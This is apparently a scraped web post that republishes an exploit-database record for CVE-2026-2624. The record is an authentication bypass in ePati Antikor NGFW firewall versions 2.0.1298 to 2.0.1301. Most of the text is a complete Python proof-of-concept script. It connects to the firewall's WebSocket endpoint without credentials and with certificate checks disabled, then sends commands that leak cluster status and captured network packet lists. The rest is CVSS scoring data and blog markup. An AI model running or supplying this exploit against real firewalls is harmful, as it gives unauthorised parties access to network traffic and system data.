{“lastseen”:”2026-05-14T13:28:58″,”description”:”Exploit Title: ePati Antikor NGFW 2.0.1301 – Authentication Bypass Date: 2026-04-13 Exploit Author: SADIK ERT\u00dcRK Vendor Homepage: https:\/\/www.epati.com.tr\/ Software Link: https:\/\/www.epati.com.tr\/antikor-ngfw\/ Version: v.2.0.1298 – v.2.0.1301 Tested…”,”published”:”2026-05-14T00:00:00″,”modified”:”2026-05-14T00:00:00″,”type”:”exploitdb”,”title”:”ePati Antikor NGFW 2.0.1301 – Authentication Bypass”,”source”:””,”references”:””,”id”:”EDB-ID:52562″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-2624″],”sourceData”:”# Exploit Title: ePati Antikor NGFW 2.0.1301 – Authentication Bypass \\r\\n# Date: 2026-04-13\\r\\n# Exploit Author: [SADIK ERT\u00dcRK]\\r\\n# Vendor Homepage: https:\/\/www.epati.com.tr\/\\r\\n# Software Link: https:\/\/www.epati.com.tr\/antikor-ngfw\/\\r\\n# Version: v.2.0.1298 – v.2.0.1301\\r\\n# Tested on: Linux \/ Antikor OS\\r\\n# CVE: CVE-2026-2624\\r\\n\\r\\nimport websocket\\r\\nimport json\\r\\nimport ssl\\r\\nimport sys\\r\\nimport argparse\\r\\nimport random\\r\\nimport string\\r\\nimport time\\r\\n\\r\\ndef banner():\\r\\n print(\\”-\\” * 65)\\r\\n print(\\” ePati Antikor NGFW Unauthenticated WebSocket Exploit\\”)\\r\\n print(\\” CVE-2026-2624 | Author: [SADIK ERT\u00dcRK]\\”)\\r\\n print(\\”-\\” * 65)\\r\\n\\r\\ndef generate_random_id(length=8):\\r\\n \\”\\”\\”Generates a random session ID for the SockJS connection.\\”\\”\\”\\r\\n return ”.join(random.choices(string.ascii_lowercase + string.digits, k=length))\\r\\n\\r\\ndef exploit(target_ip, target_port):\\r\\n # Generating random server and session IDs for SockJS\\r\\n server_id = random.randint(100, 999)\\r\\n session_id = generate_random_id()\\r\\n \\r\\n ws_url = f\\”wss:\/\/{target_ip}:{target_port}\/sock\/{server_id}\/{session_id}\/websocket\\”\\r\\n print(f\\”[*] Target WebSocket URL created: {ws_url}\\”)\\r\\n print(\\”[*] Connecting to the target… (Ignoring SSL certificate warnings)\\”)\\r\\n\\r\\n try:\\r\\n # Bypassing Self-Signed SSL certificate verifications\\r\\n ws = websocket.WebSocket(sslopt={\\”cert_reqs\\”: ssl.CERT_NONE})\\r\\n ws.connect(ws_url)\\r\\n print(\\”[+] Connection Successful! (Authentication bypassed)\\\\n\\”)\\r\\n \\r\\n # Payload 1: Listening to Cluster and System Status\\r\\n payload_1 = json.dumps([\\”{\\\\\\”istekId\\\\\\”:\\\\\\”req_init_01\\\\\\”,\\\\\\”komut\\\\\\”:\\\\\\”rapor-dinle\\\\\\”,\\\\\\”parametreler\\\\\\”:[\\\\\\”cluster-durum\\\\\\”]}\\”])\\r\\n print(\\”[*] Sending 1st payload: ‘rapor-dinle’ (cluster-status)…\\”)\\r\\n ws.send(payload_1)\\r\\n\\r\\n # Wait for the response from the server\\r\\n time.sleep(1) \\r\\n response_1 = ws.recv()\\r\\n \\r\\n if response_1:\\r\\n print(\\”[+] SUCCESSFUL! Sensitive system data successfully leaked:\\”)\\r\\n print(f\\”\\u003e {response_1}\\\\n\\”)\\r\\n \\r\\n # Payload 2: Listening to Network Packets\\r\\n payload_2 = json.dumps([\\”{\\\\\\”istekId\\\\\\”:\\\\\\”req_101\\\\\\”,\\\\\\”komut\\\\\\”:\\\\\\”paket-liste-dinle\\\\\\”,\\\\\\”parametreler\\\\\\”:[]}\\”])\\r\\n print(\\”[*] Sending 2nd payload: ‘paket-liste-dinle’ (network-packet-list)…\\”)\\r\\n ws.send(payload_2)\\r\\n \\r\\n time.sleep(1)\\r\\n response_2 = ws.recv()\\r\\n \\r\\n if response_2:\\r\\n print(\\”[+] Network packet data captured:\\”)\\r\\n print(f\\”\\u003e {response_2}\\\\n\\”)\\r\\n\\r\\n print(\\”[*] Exploitation complete. Closing connection.\\”)\\r\\n ws.close()\\r\\n\\r\\n except websocket.WebSocketException as e:\\r\\n print(f\\”[-] WebSocket Error: {e}\\”)\\r\\n print(\\”[-] The target might be patched (v.2.0.1302+) or the port is closed.\\”)\\r\\n sys.exit(1)\\r\\n except Exception as e:\\r\\n print(f\\”[-] An unexpected error occurred: {e}\\”)\\r\\n sys.exit(1)\\r\\n\\r\\nif __name__ == \\”__main__\\”:\\r\\n banner()\\r\\n \\r\\n # Argument parsing\\r\\n parser = argparse.ArgumentParser(description=\\”ePati Antikor NGFW WebSocket Auth Bypass PoC\\”)\\r\\n parser.add_argument(\\”-t\\”, \\”–target\\”, required=True, help=\\”Target IP or Hostname (e.g., 192.168.1.10)\\”)\\r\\n parser.add_argument(\\”-p\\”, \\”–port\\”, default=\\”8800\\”, help=\\”Target Port (Default: 8800)\\”)\\r\\n \\r\\n args = parser.parse_args()\\r\\n \\r\\n exploit(args.target, args.port)”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52562″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52562″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-14T13:28:58″,”description”:”Exploit Title: ePati Antikor NGFW 2.0.1301 – Authentication Bypass Date: 2026-04-13 Exploit Author: SADIK ERT\u00dcRK Vendor Homepage: https:\/\/www.epati.com.tr\/ Software Link: https:\/\/www.epati.com.tr\/antikor-ngfw\/ Version: v.2.0.1298 – v.2.0.1301…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,40,13,7,11,5],"class_list":["post-54457","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n